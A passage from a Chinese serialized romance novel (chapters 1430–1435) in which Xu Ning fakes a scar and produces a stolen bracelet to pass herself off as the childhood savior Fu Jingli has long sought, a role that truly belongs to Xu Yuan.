他们的声音、他们的眼光,像一张巨大的网,将她紧紧缠住,让她无法挣脱,也让她清楚地知道,自己与傅京礼之间,隔着的不仅仅是身份的差距,更是整个上流圈层的规则与偏见。 可即便如此,她依旧不甘心,依旧紧紧抓着傅京礼这根唯一的稻草。 因为她知道,傅京礼是她唯一能抓住的机会,是她摆脱现状、实现野心的唯一途径。 她看着傅京礼那冰冷又疏离的脸,看着他眼底那层难以穿透的屏障,心底的惶恐愈发浓重。 她害怕自己刚才的算计,已经彻底毁掉了自己在他心里仅存的好感,害怕他接下来的质问,会像一把锋利的刀,剖开她所有的伪装,让她所有的野心与卑微都暴露无遗,更害怕他会用一种陌生又冷漠的眼神看着她,说一句“许宁,你太让我失望了”,然后转身离开,再也不回头。 她低垂着头,身体微微颤抖着,泪水在眼眶里打转,却强忍着没有落下。 她不想在他面前再露出狼狈的模样,不想再让他看到自己脆弱不堪的一面。 她知道自己刚才在盛景炎和许愿面前的委屈与愤怒,已经让他对她产生了怀疑,如今,她连解释的勇气都没有。 因为她知道,任何解释在监控的真相面前,都是苍白无力的谎言。 她只是紧紧咬着唇瓣,用疼痛来转移心底的恐慌,用沉默来对抗这份未知的恐惧。 她看着傅京礼那挺拔的身影,看着他那双曾经让她无数次心动的眼眸,心底的喜欢与执念依旧在,可这份喜欢,如今却裹挟着深深的惶恐与不安。 她不知道接下来会发生什么,不知道傅京礼会如何对待她,不知道自己还能不能守住这份执念。 她只知道,此刻的她,害怕极了,害怕失去这唯一能抓住的机会,害怕自己会从云端跌落,重新回到那个充满轻视与嘲讽的深渊里。 而这份惶恐与不安,像藤蔓一样,缠绕着她的心脏,越收越紧,让她几乎喘不过气来。 她低垂着头,像一只受伤的兔子,既渴望傅京礼能给她一个温柔的回应,又害怕他的冰冷质问会彻底击碎她所有的希望。 她不知道该如何面对他,不知道该如何面对接下来的一切,只能在这份无尽的惶恐中,等待着他接下来的话语。 许宁最开始不懂,她曾以为自己的喜欢是世间最纯粹的执着,是跨越身份鸿沟的勇气,是哪怕遍体鳞伤也要抓住的光。 她以为这份爱能融化傅京礼眉间的疏离,能击碎上流圈层对她的偏见,能让她在傅京礼的身边拥有一个安稳的位置。 可直到盛景炎站在华庭的走廊里,用那带着讥讽与清醒的言语点透一切。 “圈子里那么多名媛千金傅京礼都是看也不看,怎么偏偏载到了你这种人身上?” “你瞧上的是傅京礼的身份,你想的多好啊,嫁给傅京礼成为傅京礼的太太” 那些像冰棱般锋利的话语,让许宁突然就懂了。 这份从一开始就裹着算计与执念的“喜欢”,对傅京礼而言,从来不是救赎,而是一种彻头彻尾的羞辱。 多可笑啊,她曾以为是双向奔赴的期待,原来从头到尾都是她单方面的掠夺与绑架。 她喜欢傅京礼,可这份喜欢里掺杂了太多不属于爱的东西,是想借他之手摆脱私生女身份的渴望,是想踩着他的肩膀登上云端的野心,是把他的真心当作筹码的算计。 而傅京礼,那个本该在感情里被温柔以待的人,却被她的喜欢裹挟着,被迫卷入一场充满谎言的漩涡,被迫承受她那些见不得光的算计。 她所谓的“爱”,像一根无形的绳索,勒得他喘不过气,也像一层污浊的泥泞,玷污了他原本该有的纯粹与尊严。 这份认知像一把烧红的烙铁,狠狠烫在她的心上,疼得她浑身发颤,眼眶瞬间红得发烫,眼泪在眼眶里打转,却倔强地不肯落下。 她深吸了一口气,试图平复胸口那阵剧烈的起伏,可喉间依旧像堵着一团浸了水的棉絮,又沉又闷,连呼吸都带着细碎的疼痛。 那口气吸进去,非但没有带来丝毫安稳,反而让她心头的颤动愈发剧烈。 那不是因为委屈,而是因为一种迟来的清醒,一种发现自己亲手玷污了珍贵之物的惶恐与悲凉。 她望着傅京礼,望着他那张依旧清冷疏离的脸,望着他眼底那层从未对自己消融的寒霜,心头都在颤动。 那些曾经在深夜里反复描摹的温柔幻象,此刻像被狂风卷起的泡沫,一个个破碎,露出底下冰冷又残酷的现实。 第1430章 许愿太优秀 她曾以为自己是为爱勇敢的孤勇者,可盛景炎的话让她看清,她不过是一个被欲望裹挟的囚徒,用“爱”的名义,做着伤害他的事。 “阿礼哥哥,”许宁的声音轻轻的,带着一丝不易察觉的颤抖,像寒风里飘摇的枯叶,脆弱得仿佛下一秒就会碎掉。 她的眼底泛着水汽,可那水汽里没有委屈,只有一种近乎悲壮的坦诚,:“不管怎样,我都希望你知道,我是真的很爱你,很爱很爱。” 她说这句话的时候,目光紧紧锁住傅京礼的眼眸,仿佛想用这份近乎偏执的坦诚,穿透他眼底的寒霜,抵达他内心深处。 她的爱,或许从一开始就是错的,或许掺杂了太多不属于爱的东西,或许给傅京礼带来了伤害与困扰,可这份“爱”的本身,是她心底最真实的情绪。 哪怕这份情绪里混杂着算计,哪怕这份情绪让她变得卑微又可笑,哪怕这份情绪最终只会换来傅京礼的疏离与厌恶,她依旧无法否认它的存在。 这份“爱”像一团燃烧的火焰,烧得她浑身疼痛,却也照亮了她心底最深处的执念。 她知道,这份告白在傅京礼听来,或许只是又一个谎言的开始,或许只会让他更加厌烦,可她依旧想说。 就像溺水的人想抓住最后一根稻草,就像困在牢笼里的鸟想发出最后的鸣叫。 她想让他知道,哪怕她的喜欢变成了羞辱,哪怕她的爱带着伤人的利刃,可那份“爱”的本身,是真实的,是她能给的最“纯粹”的东西,哪怕这份“纯粹”,早已被欲望染得斑驳不堪。 她望着傅京礼,眼底的红愈发明显,泪水终于顺着脸颊滑落,却不是委屈,而是因为心痛。 她知道,这份告白之后,她与傅京礼之间,或许再无回旋的余地。 他或许会看清她所有的伪装,看清她爱里的算计与执念,或许会彻底厌恶她,或许会从此疏远她。 可她依旧说出了口,不是为了挽回,不是为了乞求原谅,而是为了自己。 为了那个曾以为能用爱改变命运的自己,为了那个哪怕知道错了,也依旧无法否认心底执念的自己。 房间内的灯光落在她的身上,将她的身影拉得很长,像一道孤独的影子。 她望着傅京礼,心头的颤动愈发剧烈,仿佛连灵魂都在跟着颤抖。 她爱他,可这份爱,却成了他们之间最锋利的刀,割开了所有虚假的温情,也割断了她所有的幻想。 而此刻,她只能在这份清醒的疼痛里,用最后的坦诚,为这段错位的感情,画上一个悲凉的句点。 许宁一直觉得自己不是什么多有良心的人。 过往的岁月里,她为了在私生女的身份夹缝里求生,为了能靠近傅京礼这道光,曾无数次在规则边缘试探,甚至故意忽略过他人的感受,用看似无辜的伪装去换取自己想要的东西。 她曾以为,自己的良心早已被上流圈层的浮华与算计磨得冰冷,以为自己早已习惯了用算计去铺就前路。 可直到此刻,看着傅京礼眼底那片从未为自己消融的疏离,听着盛景炎那些戳穿真相的嘲讽,她才突然惊觉,原来自己并非全然没有良心。 只是那点微弱的良心,从一开始就全然放在了傅京礼的身上。 那些曾被她刻意忽视的愧疚,此刻都清晰浮现。 她知道诬陷许愿是错的,知道用谎言去维系与傅京礼的关系是卑劣的,知道自己的存在或许会让傅京礼在傅家与圈层里承受非议。可她依旧做了,因为她无法抗拒心底那份对他的执念。 大概自己就是喜欢他的,这份喜欢像藤蔓一样缠绕着她的心脏,越收越紧,让她无法呼吸,也让她更加不想放弃傅京礼。 因为这份喜欢,她甘愿成为别人眼中的“坏人”,甘愿违背自己的良心,只为了能留在他身边,哪怕只是远远地看着他,哪怕要承受无尽的恐慌与质疑。 许宁等着傅京礼的回应,眼底都带着几分悲痛。 那不是委屈的泪水,不是愤怒的火焰,而是一种近乎绝望的坦诚。 她望着傅京礼,像是望着自己唯一的救赎,又像是望着一座永远无法攀越的高山。 她能清晰地感知到他眼底的复杂,感知到那份疏离里藏着的审视,可她依旧固执地等待着,哪怕知道这份等待可能毫无意义。 就像溺水的人哪怕明知前方没有浮木,也依旧会伸手去抓,哪怕只是抓住一片虚无的空气。 傅京礼对上她这样的眼神,瞳眸深了几分。 他看着许宁眼底那片清晰的悲痛,看着她颤抖的肩膀和泛红的眼眶,心底那层疏离的屏障似乎裂开了一道细微的缝隙。 他不是没察觉过许宁的算计,不是没看到她对许愿的恶意,可此刻,她眼底那份近乎绝望的坦诚,却又让他生出几分陌生的情绪。 他突然意识到,许宁或许真的像她说的那样,只是太害怕失去,只是太执着于这份感情,才会用错了方式。 可这份陌生的情绪很快又被理智压了下去。 感情不该成为伤害他人的借口,更不该成为破坏规则的理由。 傅京礼的眉眼依旧清冷,只是眼底的寒意稍稍淡了几分,多了几分审视,像是在重新打量眼前这个为他陷入疯狂的女孩。 许宁见他没有立刻反驳,仿佛看到了一丝微弱的希望,继续开口道,声音带着压抑的颤抖,像绷紧的琴弦,随时会断裂:“阿礼哥哥,我只是在害怕。” 她的手指紧紧攥着衣角,指节泛白,仿佛那是唯一能支撑她的力量,“许愿太优秀了,她漂亮、优秀、识大体,站在那里就自带光芒,连阿礼哥哥你都会忍不住多看她一眼吧?” 她的眼泪终于忍不住滑落,顺着脸颊缓缓流下,却不是为了博取同情,而是因为心底那份无法排解的恐慌,“我真的只是担心你会喜欢许愿,担心你会因为她的优秀而抛弃我,我只是……只是不想你的目光落到许愿身上,不想她成为你心里比我还重要的人。” 第1431章 哪怕沦为骗子,也要留住他 她的声音渐渐低了下来,带着一种近乎卑微的祈求,像在为自己荒唐的行为寻找理由:“我真的没想要伤害任何人,我只是希望和你在一起,这就是我最大的愿望了。” 这句话说得轻,却带着千斤的重量,道尽了她所有的执念与卑微。 她知道自己不够好,知道自己配不上傅京礼,知道自己用错了方式,可她真的太害怕失去他了。 她望着傅京礼,眼底的悲痛愈发浓烈,像一片深不见底的湖泊,倒映着她所有的脆弱与执念:“阿礼哥哥,你知道吗?我从来没有过一个真正属于自己的家,从来没有过被真心接纳的感觉。可只要能和你在一起,哪怕只是成为你的妻子,哪怕要面对傅家的反对,面对圈层的嘲讽,我都觉得是值得的。因为有你,我就有了家,就有了能被接纳的理由。所以,我才会做错事,才会用那些不好的方式去留住你,可我真的很爱你,我只是想和你在一起啊。” 许宁的声音带着哽咽,却依旧清晰,每一个字都像落在傅京礼的心上,砸出细碎的涟漪。 她知道自己此刻的模样或许很狼狈,或许会让他更加失望,可她已经顾不得那么多了。 她所有的伪装都已经被拆穿,所有的算计都已经被戳破,此刻的她,只剩下这份最卑微的执念,只剩下这份最真实的渴望。 傅京礼看着她,眼底的复杂情绪愈发浓重。 他能感知到许宁的恐慌,能感知到她心底那份真实的渴望,可他也清楚,这份渴望背后藏着的算计,早已伤害了许愿,也伤害了他们之间本就脆弱的感情。 他看着她眼底那片悲痛,看着她颤抖的肩膀,心底突然生出一丝淡淡的怜悯。 不是因为爱情,而是因为一个女孩为爱疯狂的卑微。 傅京礼此刻甚至会想,自己真的喜欢许宁吗? 这个念头像一根细针,猝不及防地扎进他心底最柔软的角落,带着一种陌生的刺痛。 他看着眼前眼底泛着悲痛、声音哽咽的许宁,看着她颤抖的肩膀和泛红的眼眶,心底却再没有往日的怜惜,只余一片混沌的茫然。自己到底为什么会喜欢许宁的? 这个问题的答案,此刻变得模糊又苍白,像被雾霭笼罩的远山,怎么也看不真切。 明明许宁这种人,从来都不在他考虑范围内的恋爱对象里。 傅家的联姻标准,上流圈层的规则,都该让他把目光锁定在那些门当户对、进退得宜的名媛身上。 她们知礼、识大体,能成为他事业上的助力,能为傅家带来切实的利益。 可他偏偏把目光落在了许宁身上,落在了这个出身卑微、满心算计的私生女身上,这份偏离,此刻想来,竟带着一种说不出的荒唐。 他的指尖无意识地蜷缩了一下,喉间泛起一阵干涩,连呼吸都变得滞涩起来。 难道这份偏离,从一开始就是一场精心设计的陷阱? 难道自己早就被许宁算计其中,只是他一直浑然不觉? 他努力回溯记忆的源头,试图找出喜欢的根源。 可翻来覆去,能找到的只有那些机缘巧合的碎片。 雨天里她“恰好”撑着伞出现在他面前,帮他拦下了一辆出租车,他加班到深夜,她“恰好”带着热粥来公司等他,他被家族里的长辈责难时,她“恰好”在旁边低声安慰,递上一杯温水。 那些看似不经意的巧合,久而久之,便在他身边堆砌起了与许宁的交集。 而他的身边,本就没有更多的女性能有这样频繁的接触。 家族宴会里,那些名媛们大多对他保持着礼貌的距离,要么关注自己的事业,要么与青梅竹马的世家子弟相伴,没人像许宁这样,能“恰好”填补他生活里的空隙,能“恰好”在他需要的时候出现。 于是,许宁就这么“近水楼台先得月”,成了他目光停留的对象,成了他口中那个“喜欢的人”。 可现在想来,这些“恰好”,真的只是巧合吗? 傅京礼望着许宁,眼底的茫然渐渐被一种冰冷的审视取代。 他仔细看着许宁的脸,看着她此刻脆弱又执拗的模样,心底突然生出一种荒谬的猜想。 难道自己早就被许宁算计了吗?那些看似不经意的帮助,那些恰到好处的陪伴,是不是都是她精心策划的桥段? 她是不是从一开始就盯上了傅家继承人的身份,盯上了他这个人,所以才用尽了所有的心思,一点点靠近他,一点点占据他的生活? 这个念头一旦冒出来,便像藤蔓一样疯狂蔓延,缠绕得他心头发紧,连呼吸都带着一种窒息的沉重。 傅京礼的情绪状态不对,那种从骨子里透出来的疏离与审视,像一层冰冷的寒霜,瞬间覆盖了整个空间。 许宁第一时间就发现了。 她太熟悉傅京礼了,熟悉他每一个眼神的变化,熟悉他每一种情绪的波动。 此刻,他眼底没有丝毫往日的温柔,没有一丝怜惜,只有那种让她心慌的茫然与审视,像一把冰冷的刀,悬在她头顶,随时会落下来。 许宁的心猛地一沉,像坠入了冰窖,凉了半截。 她看着傅京礼那双曾经满是温柔、此刻却只剩冷漠的眼睛,心底的恐慌像潮水般涌上来,淹没了她所有的侥幸。 努力了这么久,从私生女的身份里挣扎着爬出来,小心翼翼地接近他,费尽心机地讨好他,就是为了能留在他身边,能成为傅家的女主人,能拥有一个真正属于自己的家。 可现在,就因为一场针对许愿的算计,就因为盛景炎的几句话,就因为傅京礼心底的怀疑,她所有的努力都要付诸东流了吗? 早知道就不该陷害许愿,真的是得不偿失! 她咬紧了牙关,指甲深深掐进掌心,疼痛让她稍微清醒了几分,可心底的绝望却愈发浓烈。 许宁咬牙心道,本来打算晚些时候再动用杀手锏,等傅京礼彻底爱上自己,等他彻底放下过去,再把这个秘密告诉他,到时候他就算知道真相,也只会因为她而感动,会原谅她所有的算计。 可现在看来,不行了。 第1432章 赌上所有也要留住他 傅京礼眼底的怀疑像毒蛇一样缠绕着她,如果不立刻拿出杀手锏,她可能连留在他身边的机会都没有了,所有的希望都要在这一刻彻底破灭。 她不能输,她已经没有退路了,哪怕这个杀手锏会让她彻底沦为一个骗子,她也要赌一把,赌傅京礼会因为这个秘密而重新看向她。 事实上,许宁敢接近傅京礼,敢有这份野心,正是因为她知道傅京礼内心有个白月光。 那个在傅京礼少年时,救过他性命的女生。 傅京礼曾无意间提起过,那个女生手腕上有一道长长的疤痕,是当年为了救他留下的。 这个秘密,像一把钥匙,打开了许宁的野心之门,也成了她最锋利的武器。 而许宁知道,那个白月光是谁。 是许愿。 这个认知像一颗重磅炸弹,在许宁心底炸开,让她既嫉妒又恐慌。 她知道傅京礼对那个“白月光”有多执着。 这么多年,他从未真正放下,偶尔提起时,眼底会流露出一种柔软又眷恋的光芒,那是许宁从未见过的温柔。 她更知道,如果傅京礼真的和许愿接触,真的知道了真相,那么傅京礼一定会重新喜欢上许愿,一定会把她这个满心算计的私生女抛在脑后。 所以,她才不敢让傅京礼跟许愿接触,才费尽心思地在他们之间制造隔阂,才会有今晚这场针对许愿的闹剧。 她要让傅京礼看到许愿的“恶”,要让他厌恶许愿,要让许愿彻底失去靠近傅京礼的机会。 她本想,如果傅京礼能爱上自己,爱得纯粹,爱得没有丝毫怀疑,那再好不过。这样她就不用假装,不用再用谎言去维系这段感情,傅京礼爱的就只是她许宁,而不是那个带着“白月光”影子的替代品。 可现在看来,还是不行啊。 傅京礼的怀疑,像一道无法跨越的鸿沟,横在他们之间,而许愿的存在,像一座大山,压得她喘不过气来。 她终于明白,要让傅京礼留在自己身边,要让傅京礼彻底爱上她,唯一的办法,就是要偷走许愿的身份。 要让傅京礼以为,那个救过他的、手腕上有疤痕的白月光,不是许愿,而是她许宁。 许宁垂下眼,长睫遮住了眼底翻涌的阴暗情绪。 她想起自己手腕上那道刻意留下的疤痕。 那是她特意去做的手术,疤痕的形状、长度,都和傅京礼描述的一模一样。 她甚至偷走了傅京礼在少年时期送给许愿的项链,那条项链是傅京礼亲手设计的,独一无二,是他对白月光的念想。 她把项链藏在贴身的口袋里,像藏着一个足以改变一切的秘密武器。 她想着,只要现在拿出这条项链,再露出手腕上的疤痕,傅京礼就会以为,当年救他的人是她,这么多年,他念念不忘的人也是她,他爱的人,从始至终都是她许宁。 这个念头让她心底的恐慌稍稍退去,取而代之的是一种近乎疯狂的决绝。 她可以成为傅京礼的白月光,她可以替代许愿的位置,只要傅京礼爱的是她,只要她能留在傅京礼身边,就算这个身份是偷来的,就算这份感情是用谎言编织的,她也认了。 可心底深处,那点仅存的良心依旧在隐隐作痛。 她知道,这是一场彻头彻尾的欺骗,是对许愿的伤害,也是对傅京礼的欺骗。 可她已经没有退路了,许愿的存在像一把悬在头顶的剑,随时会斩断她所有的希望。 她抬头看向傅京礼,眼底的悲痛渐渐被一种近乎偏执的坚定取代。 许宁站在傅京礼面前,心底的恐慌与决绝交织成一团乱麻,却在抬手触碰手腕疤痕的瞬间,强行压下了所有颤抖。 她要赌,赌傅京礼会因为这个“秘密”而重新看向她,赌他会因为“白月光”的身份而原谅她所有的算计,赌他会爱上她这个“替代品”。 哪怕这份爱是建立在谎言之上,哪怕这份爱会让她永远活在偷来的影子里,她也认了。 “阿礼哥哥,”她的声音轻轻的,带着一丝不易察觉的颤抖,却比刚才多了几分笃定,像溺水的人抓住了最后一根浮木,哪怕那浮木是假的,也死死攥着不放。 她缓缓抬起手,指尖轻轻触碰手腕上那道刻意留下的疤痕,动作带着一种刻意的温柔与怀念,仿佛在触碰一件尘封多年、满载回忆的珍宝。 那疤痕的形状、长度,都与傅京礼曾无意间提起的“白月光”的伤疤一模一样,是她特意找了最顶尖的医生,花了数月时间反复调整、精心雕琢的结果,连疤痕边缘的细微纹路都力求逼真,为的就是这一刻的“重逢”。 她看着傅京礼,眼底带着一种复杂的光芒,有期待。 期待他眼底重新燃起对“白月光”的眷恋。有恐慌,恐慌他会在下一秒看穿这精心编织的谎言。更有那种近乎疯狂的决绝。 哪怕赌上自己的所有,哪怕沦为骗子,也要留住他。 下一秒,她猛地向前冲去,双臂紧紧抱住傅京礼的腰,像要把自己嵌进他的怀里,仿佛只有这样,才能将自己与他的距离拉到最近,才能让这份“重逢”的假象更真实。 她的脸颊贴着他的胸膛,能清晰地听到他心跳的节奏,可那心跳却不像她此刻那般急促,带着一种陌生的疏离。 她抱着他,身体微微颤抖,像在诉说着多年来的委屈与等待,可心底却清楚地知道,这不过是一场精心设计的戏码,而她,是这场戏里唯一的演员。 可傅京礼的身体却在她抱住的瞬间僵硬起来,眼底的不耐愈发明显。 他本就因之前的算计对许宁心生隔阂,此刻的亲密接触更让他觉得不适,刚想推开她,却见许宁像是被他的动作吓到,身体一软,踉跄着摔倒在地。 就在她摔倒的瞬间,口袋里的手链也随着动作掉了出来,“叮”的一声轻响,落在地毯上,金属的光泽在灯光下微微闪烁。 第1433章 念念不忘的“白月光” 傅京礼本就因刚才的怀疑而心神恍惚,此刻被这声响拉回思绪,下意识地看过去。 可这一看,却让他整个人都愣住了。 那串手链,他太熟悉了。 那是他少年时,用自己攒了半年的零花钱,特意请珠宝师傅设计的,链身是细密的银链,上面挂着一枚小小的、刻着礼字的银牌,字体是他一笔一划亲手画的,带着少年人特有的稚嫩与认真。 那是他当年送给那个救了他性命的女孩的礼物,是他对“白月光”唯一的念想,也是他这么多年始终没能放下的执念。 记忆像潮水般瞬间涌来,将他卷入多年前的雨夜。 那是他第一次遭遇绑架,绑匪要把他带到深山废掉双腿,再卖给黑市。 他被绑着手脚,嘴里塞着布条,在颠簸的车上挣扎,心里满是绝望。 就在他以为自己会永远消失在黑暗里时,一个穿着旧布裙的小女孩突然引走了绑匪,绑匪追着小女孩跑出去,他趁机挣脱了手上的绳索,跟着小女孩躲进了附近的山林里。 山林里荆棘密布,小女孩带着他绕过一个个陷阱,时不时回头看他一眼,眼底满是坚定。 后来他们躲进一个山洞,小女孩为了帮他挡住追来的绑匪,不小心摔倒,手腕被锋利的石块划破,鲜血瞬间染红了她的衣袖。 她却只是咬着牙,用布条随便缠了缠伤口,又拉着他的手继续跑,直到终于跑到了山下,遇到了前来搜寻的警察。 那天的雨下得很大,小女孩浑身都湿透了,手腕上的血混着雨水滴在地上,可她却笑着说:“你没事就好。” 他找了这么多年,问遍了所有可能的线索,却始终没能找到她。 那道手腕上的疤痕,成了他心底最柔软也最遗憾的执念。 而现在,这条手链,就躺在他面前的地毯上,像一个突然出现的奇迹,将他拉回了多年前的那个雨夜。 傅京礼的眸光瞬间变得幽深,身体都在微微颤抖,像被电流击中,连指尖都泛着冷。 他看着那串手链,又看向摔倒在地的许宁,心底的怀疑、疏离在这一刻仿佛都被冲散,取而代之的是一种难以言喻的狂热与激动 难道这么多年,他找的人,一直在他身边? 难道当年救他的,真的是许宁? 他重新看向许宁的时候,眼底再也不是之前的冷漠与审视,而是一种近乎疯狂的急切与眷恋,像迷路的人突然看到了回家的路,像干涸的河床突然迎来了水源。 他甚至没有去扶许宁,而是快步走到她身边,蹲下身,声音带着难以掩饰的颤抖:“是你吗?当年是你吗?” 他问得急切,眼底满是期盼,期盼着她能给出那个他等了多年的答案。 许宁知道傅京礼问的是“当年是你救了我吗?” 可她不能回答得太直接,太功利。 那样会让他怀疑,会让他觉得她只是为了留住他才撒谎。 她勉强扯了扯唇角,露出一个看似茫然、实则精心设计的笑容,声音带着几分娇嗔与不解:“阿礼哥哥,你在说什么啊?我当然是许宁啊,一直都是啊。” 她故意顿了顿,像是在回忆什么,又像是在装傻,然后缓缓伸出手,像是要去触摸傅京礼的额头,想用这种亲昵的动作拉近距离,想让他更信服。 而就在她伸手的瞬间,手腕上的疤痕,也清晰地露了出来,那道刻意留下的疤痕,在灯光下显得格外清晰。 傅京礼的目光瞬间被那道疤痕吸引,瞳孔骤然收缩,像是看到了当年那个雨夜小女孩手腕上的伤口。 他猛地伸出手,紧紧握住她的手腕,指尖触碰到疤痕的瞬间,连呼吸都变得急促起来,声音带着难以掩饰的惊愕与颤抖:“这伤是哪里来的?是你对吗?当年就是你……对吗?” 他的眼神紧紧盯着许宁的眼睛,像是要把她看穿,又像是在确认一个失而复得的宝藏。 他看着那道疤痕的形状、位置,与记忆中的一模一样,再看着那串躺在地毯上的手链,所有的线索都指向一个答案,一个让他心跳加速的答案。 许宁感受着他掌心的温度,感受着他眼底的狂热与期盼,心底的恐慌渐渐被一种扭曲的快意取代。 她的谎言,生效了。她故意露出一丝娇羞的神情,像是被他急切的询问弄得有些不知所措,声音轻轻的,带着几分委屈:“阿礼哥哥,你怎么突然问这个呀?这伤……是小时候不小心划到的,至于这串手链,是……是我一直珍藏的宝贝。” 她没有直接承认,却用这种模棱两可的回答,给了傅京礼足够的想象空间,让他觉得她是在害羞,是在故作矜持。 傅京礼看着她那娇羞的神情,看着她手腕上的疤痕,看着地毯上的手链,心底所有的怀疑都烟消云散。 他猛地将她从地上拉起来,紧紧抱住,像是要把她揉进自己的身体里,声音带着哽咽与激动:“太好了,真的是你,我终于找到你了。” 他抱着她,感受着她的体温,感受着她手腕上那道“熟悉”的疤痕,心底满是失而复得的狂喜。 这么多年,他终于找到了那个救了他的女孩,找到了那个他念念不忘的“白月光”。 许宁被他紧紧抱住,感受着他胸膛传来的温度,感受着他激动的心跳,心底却生出一种扭曲的满足。 她知道自己是在撒谎,知道自己是在偷走许愿的身份,可看着傅京礼眼底的狂热与眷恋,看着他因为“找到她”而露出的激动神情,她心底的恐慌渐渐被一种扭曲的快意取代。 只要能留在他身边,只要能成为他的“白月光”,哪怕这个身份是偷来的,哪怕这份感情是假的,她也认了。 她轻轻靠在他的怀里,声音带着几分颤抖,像是在回应他的激动,又像是在诉说着多年来的委屈:“阿礼哥哥,你到底怎么了,你在说什么……我听不懂……”她说着,眼眶微微泛红,将“受害者”的姿态演绎得淋漓尽致。 第1434章 执念而起的在意 傅京礼听着她的话,心底满是怜惜与愧疚。 傅京礼的心底,始终藏着一个无人能触碰的角落,那里盛着一段模糊却深刻的记忆,藏着一个他寻觅了多年的身影。 他的白月光。那不是一场轰轰烈烈的爱恋,而是一场裹挟着雨夜、荆棘与鲜血的救赎,却成了他少年时代最清晰的烙印,也成了此后岁月里他衡量所有情感的隐秘标尺。 他比任何人都清楚,自己在等一个人,等那个手腕上带着疤痕、笑容里满是坚定的女孩,等那个曾在绝望中拉过他一把的人。 这份执念,像一粒埋在心底的种子,随着年岁的增长,渐渐长成了一棵参天大树,遮住了他看向其他人的视线,也成了他情感世界里最坚固的壁垒。 正因如此,许宁的出现,从一开始便带着一种难以言说的“错位感”。 傅京礼让许宁接近自己,并非一时兴起,更非被她的算计所困,而是最初见到许宁的那一刻,心底猛然升起的那种“故人重逢”的恍惚。 那时的许宁,穿着穿着打扮跟当年的女孩太像了,瞬间打开了傅京礼尘封多年的记忆。 当年那个救他的小女孩,不就是穿着类似的浅蓝色布裙吗? 也是那样简单的发饰,也是那样带着几分怯生生却满是坚定的眼神。 那一刻,傅京礼的心脏像是被什么轻轻撞了一下,眼底的疏离淡了几分,竟破天荒地对这个初次见面的、出身卑微的女孩多了一分耐心。 这份“最初的印象”,成了傅京礼愿意接纳许宁的唯一理由。 他想见许宁,也从来不是因为她的算计,不是因为她的讨好,而是因为看到她穿着那类浅色系的布裙,看着她低垂着眼眸、带着几分温婉的模样,他都会恍惚间觉得,自己好像又见到了幼年时的那个小女孩。 那个在雨夜里浑身湿透、却笑着说“你没事就好”的女孩。 哪怕后来,许宁渐渐露出了满心算计的模样,哪怕她开始刻意接近自己、用各种手段博取同情,傅京礼心底的执念,始终在为她留着一份余地。 他会在她故意靠近时,想起那个小女孩在山林里牵着他奔跑时的坚定,会在她假装委屈时,想起那个小女孩手腕流血却依旧咬牙的模样。 哪怕理智告诉他,许宁早已不是那个单纯的救赎者,哪怕身边的人不断提醒他,许宁的出身与算计会成为他的负担,傅京礼依旧会在心底为她找借口。 或许她只是太想留在他身边了,或许她只是太害怕失去这份“重逢”的机会了。 这份因“最初滤镜”而生的在意,像一层温柔的薄纱,轻轻盖住了许宁身上的所有瑕疵,让他在面对她的纠缠时,总比面对其他人多了一分耐心,多了一分容忍。 可这份在意,从来都不是爱。 傅京礼心里清楚,他真正眷恋的,是那个记忆里的白月光,是那个救赎过他的女孩,而不是此刻这个满心算计、为了留在他身边不择手段的许宁。 他会在许宁撒谎时感到失望,会在她陷害许愿时感到愤怒,可心底那份对“故人”的执念,又会让他在愤怒之余,忍不住多看她一眼,多看一眼那身让他想起过去的衣裙,多看一眼那双让他恍惚的眼神。这份矛盾的情感,像一根细线,缠绕着他的心,让他在理智与执念之间反复挣扎。 其实,傅京礼并非没有怀疑过。 他见过太多出身卑微却满心算计的女人,见过太多为了攀附权贵而不择手段的面孔,可许宁不同,她身上总带着一种让他想起“故人”的特质。 那种特质无关出身,无关算计,而是藏在眼神里的那份最初的温婉与坚定。 可后来,这份特质渐渐被许宁的野心所掩盖,她开始变得急功近利,变得满心算计,变得不再像那个雨夜里的女孩。 可傅京礼依旧会因为那身衣裙、因为那个眼神,而对她多一份在意,哪怕这份在意,早已与真正的喜欢无关,只是一种对“执念”的坚守。 他甚至想过,或许许宁就是那个白月光。 或许当年的小女孩长大后,也会因为出身的卑微而变得满心算计,也会因为想要留在他身边而用尽手段。 可这个念头一旦冒出来,又会被他心底的理智压下去。 他见过太多谎言,见过太多伪装,他不敢轻易相信,却又不敢轻易放弃这份执念。 这份矛盾,像一把双刃剑,既让他在面对许宁时多了几分温柔,又让他在看清许宁的算计时,心底多了一份更深的失望。 直到此刻,看到许宁手腕上的疤痕,看到那串手链,傅京礼心底的执念终于找到了“落点”。 他以为,这么多年,他找的人,一直都在他身边。 他以为,那个曾经救过他的女孩,就是许宁。 这份“重逢”的狂热与激动,瞬间冲散了他心底所有的怀疑与失望,让他重新燃起了希望。 可他不知道,这份希望,早已建立在谎言之上。 而这份因“最初滤镜”而生的在意,此刻也成了最锋利的刀,既刺痛了许宁,让她为了留住这份在意而不断撒谎,也刺痛了傅京礼,让他在真相与谎言之间反复挣扎。 他想见许宁,想靠近许宁,从来都不是因为许宁本身,而是因为许宁身上,始终带着那个“白月光”的影子,那个他寻觅了多年、始终没能放下的执念。 走廊里的灯光依旧柔和,可傅京礼眼底的狂热与执念,此刻却显得格外刺眼。 他抱着许宁,感受着她手腕上的疤痕,心底满是失而复得的激动,可心底深处,却藏着一丝连他自己都未曾察觉的不安。 那份不安,是对真相的预感,是对这份执念的怀疑。 而许宁靠在他的怀里,感受着他狂热的拥抱,心底的恐慌渐渐消散,取而代之的是一种扭曲的安心。 她以为,自己用谎言偷走了执念,偷走了傅京礼,可她不知道,这份执念,从来都与她无关,只与那个真正的“白月光”有关。 这场因“滤镜”而生的错位重逢,这场因执念而起的在意,终究会在真相面前,彻底崩塌。 第1435章 一场荒诞的闹剧 傅京礼心底的那棵执念之树,也终将在谎言被揭穿的那一刻,连根拔起,露出底下满是裂痕的真实。 可惜这一切,许宁却还没有料想到。 她像一个在迷雾中狂奔的人,只盯着眼前那点微弱的光亮,却看不见脚下早已布满的陷阱,更看不见身后逐渐逼近的真相。 她沉浸在自己编织的美梦里,笃定地认为,只要自己现在留在傅京礼身边,日复一日地陪伴,傅京礼迟早会被她的“真心”感动。 毕竟,在她看来,感情从来都不是瞬间的迸发,而是一场漫长而耐心的守候,是用时光堆砌出的依赖。 她坚信,傅京礼迟早会真的爱上自己,不是因为那场多年前的绑架案,不是因为那份虚幻的“白月光”执念,而是因为她是许宁,是那个会为他熬夜整理文件、会记得他不吃香菜、会在他疲惫时默默递上热茶的许宁。 